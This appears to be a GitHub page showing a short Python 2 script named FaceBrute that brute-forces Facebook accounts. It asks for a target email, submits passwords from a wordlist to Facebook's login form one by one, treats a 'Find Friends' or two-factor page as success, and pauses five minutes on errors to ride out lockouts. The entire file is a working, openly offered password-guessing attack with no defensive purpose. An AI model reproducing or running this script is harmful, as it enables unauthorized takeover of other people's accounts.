-
Notifications
You must be signed in to change notification settings - Fork 4
/
FBRUTE2.py
55 lines (48 loc) · 1.45 KB
/
FBRUTE2.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import time
import sys
if sys.version_info[0] !=2:
print('''--------------------------------------
REQUIRED PYTHON 2.x
use: python fb2.py
--------------------------------------
''')
sys.exit()
post_url='https://www.facebook.com/login.php'
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36',
}
try:
import mechanize
import urllib2
browser = mechanize.Browser()
browser.addheaders = [('User-Agent',headers['User-Agent'])]
browser.set_handle_robots(False)
except:
print('\n\tPlease install mechanize.\n')
sys.exit()
print('\n---------- Welcome To FaceBrute ----------\n')
file=open('passwords.txt','r')
email=str(raw_input('Enter Email/Username : ').strip())
print ("\nTarget Email ID : ",email)
print "\nTrying Passwords from list ..."
i=0
while file:
passw=file.readline().strip()
i+=1
if len(passw) < 6:
continue
print str(i) +" : ",passw
response = browser.open(post_url)
try:
if response.code == 200:
browser.select_form(nr=0)
browser.form['email'] = email
browser.form['pass'] = passw
response = browser.submit()
response_data = response.read()
if 'Find Friends' in response_data or 'Two-factor authentication' in response_data or 'security code' in response_data:
print('Your password is : ',passw)
break
except:
print('\nSleeping for time : 5 min\n')
time.sleep(300)